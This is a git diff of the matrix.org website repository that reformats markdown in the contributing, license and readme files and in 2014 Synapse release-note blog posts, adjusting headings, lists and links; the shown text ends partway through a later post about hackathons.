...22-04-22-this-week-in-matrix-2022-04-22.md | 55 +- ...22-04-29-this-week-in-matrix-2022-04-29.md | 110 +-- ...22-05-06-this-week-in-matrix-2022-05-06.md | 84 ++- ...22-05-13-this-week-in-matrix-2022-05-13.md | 72 +- ...22-05-20-this-week-in-matrix-2022-05-20.md | 41 +- ...22-05-27-this-week-in-matrix-2022-05-27.md | 40 +- ...22-06-03-this-week-in-matrix-2022-06-03.md | 91 +-- ...22-06-10-this-week-in-matrix-2022-06-10.md | 23 +- .../2022/06/2022-06-16-matrix-v1-3-release.md | 14 +- ...22-06-17-this-week-in-matrix-2022-06-17.md | 13 +- ...22-06-24-this-week-in-matrix-2022-06-24.md | 31 +- ...22-07-01-this-week-in-matrix-2022-07-01.md | 38 +- ...22-07-08-this-week-in-matrix-2022-07-08.md | 57 +- ...22-07-15-this-week-in-matrix-2022-07-15.md | 20 +- ...22-07-22-this-week-in-matrix-2022-07-22.md | 257 +++---- ...22-07-29-this-week-in-matrix-2022-07-29.md | 28 +- ...22-08-05-this-week-in-matrix-2022-08-05.md | 27 +- ...eoidcyet-com-matrix-and-open-id-connect.md | 12 +- ...22-08-12-this-week-in-matrix-2022-08-12.md | 21 +- ...22-08-15-the-matrix-summer-special-2022.md | 22 +- ...22-08-19-this-week-in-matrix-2022-08-19.md | 35 +- ...22-08-26-this-week-in-matrix-2022-08-26.md | 31 +- .../09/2022-09-02-synapse-1-66-released.md | 1 - .../2022-09-02-this-week-in-matrix/index.md | 222 +++--- .../2022-09-09-this-week-in-matrix/index.md | 20 +- .../2022-09-16-this-week-in-matrix/index.md | 19 +- .../2022-09-23-this-week-in-matrix/index.md | 179 ++--- .../09/2022-09-27-synapse-1-68-released.md | 2 +- .../2022/09/2022-09-29-matrix-v1-4-release.md | 12 + .../2022-09-30-this-week-in-matrix/index.md | 31 +- ...22-10-07-this-week-in-matrix-2022-10-07.md | 135 ++-- ...22-10-14-this-week-in-matrix-2022-10-14.md | 40 +- .../10/2022-10-17-synapse-1-69-released.md | 1 - ...-10-18-testing-faster-remote-room-joins.md | 6 +- ...22-10-21-this-week-in-matrix-2022-10-21.md | 134 ++-- ...22-10-28-this-week-in-matrix-2022-10-28.md | 131 ++-- ...22-11-04-this-week-in-matrix-2022-11-04.md | 190 +++--- ...22-11-11-this-week-in-matrix-2022-11-11.md | 129 ++-- ...tion-for-the-fosdem-2023-matrix-devroom.md | 10 +- .../2022/11/2022-11-17-matrix-v1-5-release.md | 31 +- ...22-11-18-this-week-in-matrix-2022-11-18.md | 146 ++-- .../11/2022-11-22-synapse-1-72-released.md | 4 +- ...22-11-25-this-week-in-matrix-2022-11-25.md | 149 ++-- ...ng-matrix-via-the-matrix-org-foundation.md | 36 +- ...22-12-02-this-week-in-matrix-2022-12-02.md | 156 +++-- .../12/2022-12-07-synapse-1-73-released.md | 5 +- ...22-12-09-this-week-in-matrix-2022-12-09.md | 144 ++-- ...22-12-16-this-week-in-matrix-2022-12-16.md | 177 +++-- ...22-12-23-this-week-in-matrix-2022-12-23.md | 144 ++-- ...22-12-25-the-matrix-holiday-update-2022.md | 15 +- ...03-matrix-community-year-in-review-2022.md | 6 +- ...23-01-06-this-week-in-matrix-2023-01-06.md | 153 +++-- ...23-01-13-this-week-in-matrix-2023-01-13.md | 152 +++-- .../01/2023-01-19-synapse-1-75-released.md | 1 - ...23-01-20-this-week-in-matrix-2023-01-20.md | 125 ++-- ...23-01-27-this-week-in-matrix-2023-01-27.md | 135 ++-- .../01/2023-01-31-synapse-1-76-released.md | 6 +- ...23-02-03-this-week-in-matrix-2023-02-03.md | 108 ++- ...finally-a-hybrid-conference-that-worked.md | 4 +- ...23-02-10-this-week-in-matrix-2023-02-10.md | 137 ++-- .../2023/02/2023-02-14-matrix-v1-6-release.md | 37 +- .../02/2023-02-16-synapse-1-77-released.md | 2 +- ...23-02-17-this-week-in-matrix-2023-02-17.md | 113 +-- ...23-02-24-this-week-in-matrix-2023-02-24.md | 178 ++--- .../02/2023-02-28-synapse-1-78-released.md | 4 - ...23-03-03-this-week-in-matrix-2023-03-03.md | 97 +-- ...23-03-10-this-week-in-matrix-2023-03-10.md | 155 ++--- ...roperability-between-messaging-services.md | 7 +- ...23-03-17-this-week-in-matrix-2023-03-17.md | 149 ++-- ...23-03-24-this-week-in-matrix-2023-03-24.md | 83 +-- ...23-03-31-this-week-in-matrix-2023-03-31.md | 135 ++-- ...23-04-10-this-week-in-matrix-2023-04-10.md | 129 ++-- ...23-04-14-this-week-in-matrix-2023-04-14.md | 77 ++- ...23-04-21-this-week-in-matrix-2023-04-21.md | 74 +- content/blog/2023/04/2023-04-28-twim.md | 189 ++--- content/blog/2023/05/2023-05-05-twim.md | 99 +-- ...23-05-12-this-week-in-matrix-2023-05-12.md | 100 +-- ...23-05-19-this-week-in-matrix-2023-05-19.md | 186 ++--- .../2023/05/2023-05-25-matrix-v1-7-release.md | 132 ++-- ...23-05-26-this-week-in-matrix-2023-05-26.md | 101 ++- content/blog/2023/06/16-twim.md | 163 +++-- ...23-06-02-this-week-in-matrix-2023-06-02.md | 95 +-- ...ucing-third-room-tp2-the-creator-update.md | 10 +- ...23-06-09-this-week-in-matrix-2023-06-09.md | 167 ++--- .../2023/06/2023-06-15-a-brand-new-website.md | 1 + .../2023/06/2023-06-20-membership-program.md | 6 +- .../2023-06-22-beeper-joins-the-foundation.md | 3 - content/blog/2023/06/2023-06-23-twim.md | 78 ++- ...2023-06-29-gematik-joins-the-foundation.md | 3 - content/blog/2023/06/2023-06-30-twim.md | 165 ++--- .../07/2023-07-04-deportalling-libera-chat.md | 4 - ...23-07-04-what-happened-with-the-archive.md | 14 +- ...7-make-sure-libera-bridge-keeps-working.md | 8 +- content/blog/2023/07/2023-07-07-twim.md | 108 +-- content/blog/2023/07/2023-07-14-twim.md | 71 +- content/blog/2023/07/2023-07-21-twim.md | 72 +- ...-28-postponing-libera-chat-deportalling.md | 5 +- content/blog/2023/07/2023-07-28-twim.md | 111 +-- .../07/2023-07-31-bridges-security-updates.md | 4 +- ...-08-04-bridges-vulnerability-disclosure.md | 2 - .../08/2023-08-04-libera-bridge-disabled.md | 6 - content/blog/2023/08/2023-08-11-twim.md | 153 +++-- content/blog/2023/08/2023-08-18-twim.md | 3 + .../2023/08/2023-08-23-matrix-v1.8-release.md | 112 ++- content/blog/2023/08/2023-08-25-twim.md | 156 ++--- content/blog/2023/09/2023-09-01-twim.md | 131 ++-- ...roducing-josh-simmons-managing-director.md | 2 +- content/blog/2023/09/2023-09-08-twim.md | 118 ++-- content/blog/2023/09/2023-09-15-twim.md | 190 +++--- .../blog/2023/09/2023-09-21-better-auth.md | 15 +- content/blog/2023/09/2023-09-21-matrix-2-0.md | 13 +- content/blog/2023/09/2023-09-22-twim.md | 65 +- content/blog/2023/09/2023-09-29-twim.md | 157 +++-- content/blog/2023/10/2023-10-06-twim.md | 18 +- content/blog/2023/10/2023-10-13-twim.md | 99 +-- content/blog/2023/10/2023-10-20-twim.md | 4 +- ...26-hello-world-you-me-matrix-foundation.md | 8 +- content/blog/2023/10/2023-10-27-twim.md | 124 ++-- content/blog/2023/11/2023-11-03-twim.md | 83 +-- .../2023-11-06-future-of-synapse-dendrite.md | 2 +- content/blog/2023/11/2023-11-10-fosdem-cfp.md | 6 +- content/blog/2023/11/2023-11-10-twim.md | 126 ++-- content/blog/2023/11/2023-11-17-twim.md | 147 ++-- content/blog/2023/11/2023-11-24-twim.md | 75 +- content/blog/2023/11/2023-11-28-liberachat.md | 1 - .../2023/11/2023-11-29-matrix-v1.9-release.md | 67 +- content/blog/2023/12/2023-12-01-twim.md | 164 ++--- .../12/2023-12-04-extension-fosdem-cfp.md | 6 +- content/blog/2023/12/2023-12-08-twim.md | 49 +- .../2023-12-14-libera-chat-alias-cleanup.md | 1 + content/blog/2023/12/2023-12-15-twim.md | 134 ++-- ...2-19-electing-our-first-governing-board.md | 4 +- content/blog/2023/12/2023-12-22-twim.md | 111 +-- ...23-12-25-the-matrix-holiday-update-2023.md | 14 +- ...migrating-from-ems-to-selfhosted-matrix.md | 28 +- content/blog/2024/01/2024-01-05-twim.md | 137 ++-- .../01/2024-01-11-matrix-presence-fosdem.md | 3 - content/blog/2024/01/2024-01-12-twim.md | 116 ++-- content/blog/2024/01/2024-01-19-twim.md | 79 ++- .../2024/01/2024-01-22-open-letter-csa.md | 55 +- content/blog/2024/01/2024-01-26-twim.md | 180 ++--- .../2024-01-30-2024-roadmap-and-fundraiser.md | 6 +- content/blog/2024/02/2024-02-02-twim.md | 76 ++- .../blog/2024/02/2024-02-08-fosdem-wrap-up.md | 5 +- content/blog/2024/02/2024-02-09-twim.md | 112 +-- content/blog/2024/02/2024-02-16-twim.md | 18 +- content/blog/2024/02/2024-02-23-twim.md | 109 +-- .../02/2024-02-29-opening-up-foundation.md | 3 +- content/blog/2024/03/2024-03-01-twim.md | 159 +++-- content/blog/2024/03/2024-03-08-twim.md | 98 +-- .../blog/2024/03/2024-03-14-why-matrix-org.md | 7 - content/blog/2024/03/2024-03-15-twim.md | 114 ++-- .../03/2024-03-22-matrix-v1.10-release.md | 90 ++- content/blog/2024/03/2024-03-22-twim.md | 70 +- content/blog/2024/03/2024-03-29-twim.md | 146 ++-- content/blog/2024/04/2024-04-05-twim.md | 119 ++-- .../04/2024-04-12-election-announcement.md | 7 +- content/blog/2024/04/2024-04-12-twim.md | 82 ++- content/blog/2024/04/2024-04-19-twim.md | 267 ++++---- .../2024/04/2024-04-25-morg-post-mortem.md | 4 +- content/blog/2024/04/2024-04-26-twim.md | 105 +-- .../04/open-source-publicly-funded-service.md | 4 +- content/blog/2024/05/2024-05-03-twim.md | 10 +- content/blog/2024/05/2024-05-10-twim.md | 201 +++--- content/blog/2024/05/2024-05-17-twim.md | 4 +- .../blog/2024/05/2024-05-17-voting-begins.md | 20 +- content/blog/2024/05/2024-05-24-twim.md | 120 ++-- content/blog/2024/05/2024-05-31-twim.md | 114 ++-- .../2024/06/2024-06-03-election-results.md | 13 +- .../2024/06/2024-06-07-regulatory-update.md | 12 +- content/blog/2024/06/2024-06-07-twim.md | 10 +- content/blog/2024/06/2024-06-14-twim.md | 145 ++-- .../06/2024-06-20-matrix-v1.11-release.md | 201 +++--- content/blog/2024/06/2024-06-21-twim.md | 90 +-- ...-06-26-sunsetting-unauthenticated-media.md | 2 - content/blog/2024/06/2024-06-28-twim.md | 77 ++- content/blog/2024/07/2024-07-05-twim.md | 33 +- content/blog/2024/07/2024-07-17-twim.md | 4 +- content/blog/2024/07/2024-07-19-twim.md | 178 ++--- content/blog/2024/07/2024-07-26-twim.md | 94 +-- .../08/2024-08-01-matrix-conf-schedule.md | 2 +- content/blog/2024/08/2024-08-02-twim.md | 73 +- content/blog/2024/08/2024-08-09-twim.md | 2 +- .../2024/08/2024-08-15-heart-of-matrix.md | 14 +- content/blog/2024/08/2024-08-16-twim.md | 18 +- content/blog/2024/08/2024-08-23-twim.md | 46 +- .../2024/08/2024-08-28-libolm-deprecation.md | 8 +- content/blog/2024/08/2024-08-30-twim.md | 6 +- content/blog/2024/09/2024-09-06-twim.md | 93 +-- content/blog/2024/09/2024-09-13-twim.md | 182 ++--- .../blog/2024/09/2024-09-16-whatsapp-dma.md | 1 - content/blog/2024/09/2024-09-22.md | 26 +- content/blog/2024/09/2024-09-27-twim.md | 107 ++- content/blog/2024/10/2024-10-04-twim.md | 136 ++-- .../10/2024-10-07-matrix-v1.12-release.md | 167 +++-- content/blog/2024/10/2024-10-11-twim.md | 79 ++- ...sure-matrix-js-sdk-and-matrix-react-sdk.md | 48 +- content/blog/2024/10/2024-10-18-twim.md | 260 ++++--- content/contact.md | 2 +- .../docs/chat_basics/matrix-for-im/_index.md | 2 +- .../chat_basics/private-group-chat/_index.md | 13 + .../docs/chat_basics/public-rooms/_index.md | 9 + content/docs/communities/bridging/_index.md | 2 + .../communities/getting-started/_index.md | 16 +- content/docs/communities/moderation/_index.md | 70 +- .../communities/switching-providers/_index.md | 4 +- .../elements-of-matrix/_index.md | 2 +- .../end-to-end-encryption/_index.md | 63 +- .../rooms_and_events/_index.md | 2 +- content/docs/older/application-services.md | 19 +- content/docs/older/client-server-api.md | 26 +- .../older/client-server-migrating-from-v1.md | 18 +- content/docs/older/client-sso-guide.md | 3 +- content/docs/older/e2ee-cross-signing.md | 151 +++- content/docs/older/elizabot.md | 15 +- content/docs/older/faq.md | 85 ++- .../docs/older/free-small-matrix-server.md | 16 +- content/docs/older/getting-involved.md | 128 ++-- content/docs/older/introduction.md | 5 +- content/docs/older/jobs-room.md | 20 +- content/docs/older/made-for-matrix-badge.md | 2 +- content/docs/older/map-tile-server.md | 10 +- content/docs/older/matrix-bot-sdk-intro.md | 14 +- .../matrix-bot-sdk-room-admin-features.md | 12 +- content/docs/older/matrix-enact.md | 5 +- content/docs/older/moderation/index.md | 37 +- content/docs/older/online-events.md | 47 +- content/docs/older/python-nio.md | 12 +- content/docs/older/stateres-v2.md | 34 +- content/docs/older/types-of-bridging.md | 24 +- .../older/understanding-synapse-hosting.md | 62 +- .../docs/older/usage-of-the-matrix-js-sdk.md | 7 +- .../whatsapp-bridging-mautrix-whatsapp.md | 15 +- .../authed-media-servers/_index.md | 4 +- content/ecosystem/_index.md | 9 +- content/ecosystem/clients/ement.md | 4 +- content/ecosystem/clients/fractal.md | 3 +- content/foundation/about/index.md | 6 +- .../governing-board-elections/index.md | 153 +++-- content/legal/code-of-conduct.md | 141 ++-- content/legal/copyright-notice.md | 75 +- content/legal/law-enforcement-guidelines.md | 96 ++- content/legal/privacy-notice.md | 433 ++++++++---- content/legal/terms-and-conditions.md | 270 ++++++-- content/podcasts/otwsu/index.md | 8 +- partials/frontpage/features/bridging.md | 2 +- partials/frontpage/features/e2ee.md | 11 +- partials/frontpage/features/messaging.md | 4 +- partials/frontpage/features/more.md | 8 +- partials/frontpage/features/voip.md | 2 +- partials/frontpage/how_does_it_work.md | 8 +- partials/frontpage/imagine.md | 2 +- partials/frontpage/this_is_matrix.md | 5 +- partials/podcasts/matrix_live.md | 15 +- partials/podcasts/otwsu.md | 2 +- partials/sdks/bot.md | 2 +- partials/sdks/bridge.md | 2 +- 739 files changed, 19552 insertions(+), 18295 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 919202ebd..0c982f87e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -8,11 +8,20 @@ This is the repository for the matrix.org website. We ask that everybody who contributes to this project signs off their contributions, as explained below. -We follow a simple 'inbound=outbound' model for contributions: the act of submitting an 'inbound' contribution means that the contributor agrees to license their contribution under the same terms as the project's overall 'outbound' license - in our case, this is Apache Software License v2 (see [LICENSE-Apache-2.0](./LICENSE-Apache-2.0)) for code and Creative Commons Attribution-ShareAlike 4.0 International (see [LICENSE-CC-BY-SA](./LICENSE-CC-BY-SA)) for other things, including text and graphics. - -In order to have a concrete record that your contribution is intentional and you agree to license it under the same terms as the project's license, we've adopted the same lightweight approach used by the [Linux Kernel](https://www.kernel.org/doc/html/latest/process/submitting-patches.html), [Docker](https://github.com/docker/docker/blob/master/CONTRIBUTING.md), and many other projects: the [Developer Certificate of Origin](https://developercertificate.org/) (DCO). This is a simple declaration that you wrote the contribution or otherwise have the right to contribute it to Matrix: - -``` +We follow a simple 'inbound=outbound' model for contributions: the act of submitting an 'inbound' contribution means +that the contributor agrees to license their contribution under the same terms as the project's overall +'outbound' license - in our case, this is Apache Software License v2 (see [LICENSE-Apache-2.0](./LICENSE-Apache-2.0)) +for code and Creative Commons Attribution-ShareAlike 4.0 International (see [LICENSE-CC-BY-SA](./LICENSE-CC-BY-SA)) +for other things, including text and graphics. + +In order to have a concrete record that your contribution is intentional and you agree to license it under the same terms +as the project's license, we've adopted the same lightweight approach used by the +[Linux Kernel](https://www.kernel.org/doc/html/latest/process/submitting-patches.html), +[Docker](https://github.com/docker/docker/blob/master/CONTRIBUTING.md), and many other projects: +the [Developer Certificate of Origin](https://developercertificate.org/) (DCO). +This is a simple declaration that you wrote the contribution or otherwise have the right to contribute it to Matrix: + +```txt Developer Certificate of Origin Version 1.1 @@ -50,10 +59,12 @@ By making a contribution to this project, I certify that: this project or the open source license(s) involved. ``` -If you agree to this for your contribution, then all that's needed is to include the line in your commit or pull request comment: +If you agree to this for your contribution, then all that's needed is to +include the line in your commit or pull request comment: -``` +```txt Signed-off-by: Your Name ``` -Git allows you to add this signoff automatically when using the `-s` flag to `git commit`, which uses the name and email set in your `user.name` and `user.email` git configs. \ No newline at end of file +Git allows you to add this signoff automatically when using the `-s` flag to `git commit`, which uses the name and email +set in your `user.name` and `user.email` git configs. diff --git a/LICENSE.md b/LICENSE.md index 151b573d8..3157a10c7 100644 --- a/LICENSE.md +++ b/LICENSE.md @@ -1,4 +1,6 @@ The content of this repository is placed under two different licenses. -- All the code making up the website is under Apache-2.0 license, that can be found in the LICENSE-Apache-2.0 file at the root of this repository -- All the content produced to populate the website is located in the `content/` directory and is under CC BY-SA license. The license can be found in LICENSE-CC-BY-SA +- All the code making up the website is under Apache-2.0 license, that can be found in the LICENSE-Apache-2.0 file at + the root of this repository +- All the content produced to populate the website is located in the `content/` directory and is under CC BY-SA license. + The license can be found in LICENSE-CC-BY-SA diff --git a/README.md b/README.md index 37c4e1f7d..a9f6f355e 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -## Matrix.org Website +# Matrix.org Website If you want to contribute to the website, make sure the problem you're trying to fix or the feature you want to implement has been discussed in our issue tracker @@ -12,10 +12,9 @@ To discuss maintenance of this site, please come talk to the team in Install the latest version of [Zola](https://www.getzola.org), clone the repo, and from the root of the repo type -``` +```bash zola serve ``` Zola will build the website and start a web server, usually at -http://127.0.0.1:1111 - + diff --git a/content/blog/2014/09/2014-09-03-hello-world.md b/content/blog/2014/09/2014-09-03-hello-world.md index e2673640a..da2540035 100644 --- a/content/blog/2014/09/2014-09-03-hello-world.md +++ b/content/blog/2014/09/2014-09-03-hello-world.md @@ -17,29 +17,29 @@ We decided that we want to fix this and so we have built and published a new ope The standard and code are all brand new and very much still in creation at this point, but we're releasing it early to get as much feedback and input from the community as early on as we possibly can. Right now our focus is on fully decentralised federated group messaging, but VoIP and identity management is coming together well too.  You can think of it as "making VoIP/IM as interoperable and flexible as email", or perhaps "the missing signalling layer for WebRTC", "XMPP for an HTTP world", or “what would happen if IRC, XMPP, SIP, SMTP, IMAP and NNTP had kids?” Here are some reasons we think that you should use Matrix:
    -
  • Simple pragmatic RESTful HTTP/JSON APIs.  No more XMPP or SIP stacks and wrestling XML streams or torture-testing SIP parsers. +
  • Simple pragmatic RESTful HTTP/JSON APIs.  No more XMPP or SIP stacks and wrestling XML streams or torture-testing SIP parsers.
  • -
  • No single points of control for channels of communication (unless you really want it for moderation or similar). Room state for a room is synchronised with eventual consistency over all participating Matrix servers - no single server controls the room. +
  • No single points of control for channels of communication (unless you really want it for moderation or similar). Room state for a room is synchronised with eventual consistency over all participating Matrix servers - no single server controls the room.
  • -
  • No more netsplits - history re-heals itself if the matrix fractures +
  • No more netsplits - history re-heals itself if the matrix fractures
  • -
  • All communication is group by default: 1:1 chat is just a subset of group chat. +
  • All communication is group by default: 1:1 chat is just a subset of group chat.
  • -
  • Multi-device aware: all state is stored and synchronised in realtime across all devices, and away-state and notifications are aware of multiple devices. +
  • Multi-device aware: all state is stored and synchronised in realtime across all devices, and away-state and notifications are aware of multiple devices.
  • -
  • Uses arbitrary 3rd party identifiers - doesn't rely on JIDs or SIP URIs for identity. +
  • Uses arbitrary 3rd party identifiers - doesn't rely on JIDs or SIP URIs for identity.
  • -
  • Share the same simple HTTP signalling channel for messaging and VoIP +
  • Share the same simple HTTP signalling channel for messaging and VoIP
  • -
  • Support more efficient transports if you want (e.g. low-bandwidth/low-roundtrip sync on mobile) +
  • Support more efficient transports if you want (e.g. low-bandwidth/low-roundtrip sync on mobile)
  • -
  • Built for mobile - e.g. support push notification and low-bandwidth/low-latency client-server transports if needed (in progress) +
  • Built for mobile - e.g. support push notification and low-bandwidth/low-latency client-server transports if needed (in progress)
  • -
  • TLS (HTTPS) by default, either with self-signed certs with published public keys or proper SSL CA signed certs (in progress) +
  • TLS (HTTPS) by default, either with self-signed certs with published public keys or proper SSL CA signed certs (in progress)
  • -
  • End-to-end PKI encryption (in progress) +
  • End-to-end PKI encryption (in progress)
  • -
  • Trusted federation of public identity servers available for publishing your PKI public keys and tracking your validated 3rd party IDs +
  • Trusted federation of public identity servers available for publishing your PKI public keys and tracking your validated 3rd party IDs
If this sounds good to you, then please take a look at the spec, or our tutorials, or jump straight into playing with the APIs, or try running your own Matrix homeserver, or sign up to our mailing lists - and whatever else, come swing by #matrix:matrix.org and say hi! diff --git a/content/blog/2014/09/2014-09-06-synapse-v0-2-2-released.md b/content/blog/2014/09/2014-09-06-synapse-v0-2-2-released.md index f5e61b1b6..0ea22b7ba 100644 --- a/content/blog/2014/09/2014-09-06-synapse-v0-2-2-released.md +++ b/content/blog/2014/09/2014-09-06-synapse-v0-2-2-released.md @@ -26,6 +26,7 @@ Webclient: * Make IRC-style commands a little more forgiving Homeserver: + * Validate `m.room.power_level` events. * When the server returns state events it now also includes the previous content if any to aid pagination * Add support for inviting people when creating a new room. diff --git a/content/blog/2014/09/2014-09-13-synapse-v0-2-3-released.md b/content/blog/2014/09/2014-09-13-synapse-v0-2-3-released.md index 42af29275..1c212d038 100644 --- a/content/blog/2014/09/2014-09-13-synapse-v0-2-3-released.md +++ b/content/blog/2014/09/2014-09-13-synapse-v0-2-3-released.md @@ -29,13 +29,12 @@ python setup.py develop --user ./synctl start # to actually set it running -and then head over to http://localhost:8008 to play with your very own Matrix homeserver! +and then head over to to play with your very own Matrix homeserver! - -Changes in synapse 0.2.3 (2014-09-12) -===================================== +## Changes in synapse 0.2.3 (2014-09-12) Homeserver: + * Fix bug where we stopped sending events to remote home servers if a user from that home server left, even if there were some still in the room. @@ -44,6 +43,7 @@ rejecting events. * Many stability fixes Webclient: + * Display room names and topics. * Allow setting/editing of room names and topics. * Display information about rooms on the main page. diff --git a/content/blog/2014/09/2014-09-18-synapse-0-3-2-released.md b/content/blog/2014/09/2014-09-18-synapse-0-3-2-released.md index 0fef02719..b14446034 100644 --- a/content/blog/2014/09/2014-09-18-synapse-0-3-2-released.md +++ b/content/blog/2014/09/2014-09-18-synapse-0-3-2-released.md @@ -16,7 +16,7 @@ The big changes are: * Lots of nice usability refinements to webclient - e.g. per-message notifications; cursor-key history navigation; faster room loading * More bugfixes and stability fixes on the homeserver -Please reload the page if you're lurking on http://matrix.org/alpha to pull in the new webclient. +Please reload the page if you're lurking on to pull in the new webclient. If you're running a homeserver - please upgrade with a quick git pull && ./synctl restart. @@ -24,28 +24,30 @@ If you're not running a homeserver... why not? ;D --Matthew -Changes in synapse 0.3.2 (2014-09-18) -===================================== +## Changes in synapse 0.3.2 (2014-09-18) Webclient: - * Fix regression where an empty "bing words" list in old accounts didn't send + +* Fix regression where an empty "bing words" list in old accounts didn't send notifications when it should have done. -Changes in synapse 0.3.1 (2014-09-18) -===================================== +## Changes in synapse 0.3.1 (2014-09-18) + This is a release to hotfix v0.3.0 to fix two regressions. Webclient: + * Fix a regression where we sometimes displayed duplicate events. * Fix a regression where we didn't immediately remove rooms you were banned in from the recents list. -Changes in synapse 0.3.0 (2014-09-18) -===================================== +## Changes in synapse 0.3.0 (2014-09-18) + See UPGRADE for information about changes to the client server API, including breaking backwards compatibility with VoIP calls and registration API. Homeserver: + * When a user changes their displayname or avatar the server will now update all their join states to reflect this. * The server now adds "age" key to events to indicate how old they are. This @@ -56,6 +58,7 @@ assume their clock is in sync with everyone else. * Add support for password resets. Webclient: + * Improve page content loading. * Join/parts now trigger desktop notifications. * Always show room aliases in the UI if one is present. @@ -72,6 +75,7 @@ the view jumped to the bottom of the screen. * Update VoIP implementation to use new API Registration API: + * The registration API has been overhauled to function like the login API. In practice, this means registration requests must now include the following: 'type':'m.login.password'. See UPGRADE for more information on this. diff --git a/content/blog/2014/09/2014-09-22-synapse-0-3-3-released.md b/content/blog/2014/09/2014-09-22-synapse-0-3-3-released.md index ff6ea90ff..e7b02c20b 100644 --- a/content/blog/2014/09/2014-09-22-synapse-0-3-3-released.md +++ b/content/blog/2014/09/2014-09-22-synapse-0-3-3-released.md @@ -11,27 +11,27 @@ Hello world, Synapse 0.3.3 was released today, concentrating on both feature & stability improvements on the webclient. The big news is that 1:1 video calling via WebRTC is implemented (although we're still working on some stability issues, and Synapse doesn't support TURN yet. This will be coming in the next few days however!). -Play with the demo server at http://matrix.org/alpha, or update your own homeserver with a git pull && ./synctl restart or by cloning a new checkout with git clone https://github.com/matrix-org/synapse.git +Play with the demo server at , or update your own homeserver with a git pull && ./synctl restart or by cloning a new checkout with git clone https://github.com/matrix-org/synapse.git --Matthew -Changes in synapse 0.3.3 (2014-09-22) -===================================== +## Changes in synapse 0.3.3 (2014-09-22) Homeserver: - * Fix bug where you continued to get events for rooms you had left. + +* Fix bug where you continued to get events for rooms you had left. Webclient: - * Add support for video calls with basic UI. - * Fix bug where one to one chats were named after your display name rather + +* Add support for video calls with basic UI. +* Fix bug where one to one chats were named after your display name rather than the other person's. - * Fix bug which caused lag when typing in the textarea. - * Refuse to run on browsers we know won't work. - * Trigger pagination when joining new rooms. - * Fix bug where we sometimes didn't display invitations in recents. - * Automatically join room when accepting a VoIP call. - * Disable outgoing and reject incoming calls on browsers we don't support +* Fix bug which caused lag when typing in the textarea. +* Refuse to run on browsers we know won't work. +* Trigger pagination when joining new rooms. +* Fix bug where we sometimes didn't display invitations in recents. +* Automatically join room when accepting a VoIP call. +* Disable outgoing and reject incoming calls on browsers we don't support VoIP in. - * Don't display desktop notifications for messages in the room you are +* Don't display desktop notifications for messages in the room you are non-idle and speaking in. - diff --git a/content/blog/2014/09/2014-09-25-synapse-0-3-4-released.md b/content/blog/2014/09/2014-09-25-synapse-0-3-4-released.md index 2aa9943ae..c7b23ccc1 100644 --- a/content/blog/2014/09/2014-09-25-synapse-0-3-4-released.md +++ b/content/blog/2014/09/2014-09-25-synapse-0-3-4-released.md @@ -21,13 +21,13 @@ thanks, Matthew -Changes in synapse 0.3.4 (2014-09-25) -===================================== +## Changes in synapse 0.3.4 (2014-09-25) This version adds support for using a TURN server. See docs/turn-howto.rst on how to set one up. Homeserver: + * Add support for redaction of messages. * Fix bug where inviting a user on a remote home server could take up to 20-30s. @@ -35,6 +35,7 @@ Homeserver: * Add support specifying and retrieving turn server configuration. Webclient: + * Add button to send messages to users from the home page. * Add support for using TURN for VoIP calls. * Show display name change messages. diff --git a/content/blog/2014/10/2014-10-16-who-is-matrix-org.md b/content/blog/2014/10/2014-10-16-who-is-matrix-org.md index 00be08f37..add91b1bc 100644 --- a/content/blog/2014/10/2014-10-16-who-is-matrix-org.md +++ b/content/blog/2014/10/2014-10-16-who-is-matrix-org.md @@ -26,4 +26,3 @@ Matthew's day job is running the Unified Communications team at Amdocs, creating Amandine Le Pape is business co-founder of matrix.org, responsible for defining the Matrix vision with Matthew and then organising the non-technical activities required to support and promote it and make it successful. Amandine has spent the last 2 years setting up and leading the Unified Communications line of business within Amdocs as a Product Manager, and has more than 10 years of experience in mobile services and telecommunications. She has a degree in telecommunications engineering from Ecole Supérieure de Chimie, Physique et Electronique de Lyon and an EMBA from ESC Rennes. [LinkedIn] - diff --git a/content/blog/2014/10/2014-10-18-alpha-builds-of-native-mobile-matrix-sdks-available-and-synapse-0-4-1-released.md b/content/blog/2014/10/2014-10-18-alpha-builds-of-native-mobile-matrix-sdks-available-and-synapse-0-4-1-released.md index 61b0f9534..119f3b9d3 100644 --- a/content/blog/2014/10/2014-10-18-alpha-builds-of-native-mobile-matrix-sdks-available-and-synapse-0-4-1-released.md +++ b/content/blog/2014/10/2014-10-18-alpha-builds-of-native-mobile-matrix-sdks-available-and-synapse-0-4-1-released.md @@ -11,8 +11,8 @@ It's been an incredibly busy few weeks in Matrixland - we've had our heads down The big news is that we have our first alpha releases of native Mobile SDKs available today for Matrix for iOS & Android! These are entirely new projects - you can check out the SDKs and demo apps (which implement a basic Matrix chatroom client similar to the webclient demo at: We still have a lot of polishing and lipstick to apply to these, but it should be a good starting point for folks who'd like to hack on mobile apps for Matrix! We haven't had a chance to generate appledoc/javadoc for these yet, but we'll post them on matrix.org shortly. @@ -30,26 +30,23 @@ Finally, we've also had a detour into #matrix:matrix.org! - -Changes in synapse 0.4.1 (2014-10-17) -===================================== +## Changes in synapse 0.4.1 (2014-10-17) + Webclient: - * Fix bug with display of timestamps. +* Fix bug with display of timestamps. + +## Changes in synpase 0.4.0 (2014-10-17) -Changes in synpase 0.4.0 (2014-10-17) -===================================== This release includes changes to the federation protocol and client-server API that is not backwards compatible. The Matrix specification has been moved to a separate git repository: -http://github.com/matrix-org/matrix-doc + You will also need an updated syutil and config. See UPGRADES.rst. Homeserver: - * Sign federation transactions to assert strong identity over federation. - * Rename timestamp keys in PDUs and events from 'ts' and 'hsob_ts' to 'origin_server_ts'. - - +* Sign federation transactions to assert strong identity over federation. +* Rename timestamp keys in PDUs and events from 'ts' and 'hsob_ts' to 'origin_server_ts'. diff --git a/content/blog/2014/11/2014-11-13-matrix-on-the-road.md b/content/blog/2014/11/2014-11-13-matrix-on-the-road.md index 2b1eca999..8612930a0 100644 --- a/content/blog/2014/11/2014-11-13-matrix-on-the-road.md +++ b/content/blog/2014/11/2014-11-13-matrix-on-the-road.md @@ -39,7 +39,7 @@ Movidiam did a very ambitious hack, modelling the trends of conversation in the Matrix team worked on a MIDI to Matrix bridge allowing to share and display music you play in a chatroom and jam together even if in different places. Here is the demo video: -http://youtu.be/LXDBoHyjmtw + Another great time to meet a lot of interesting people and build 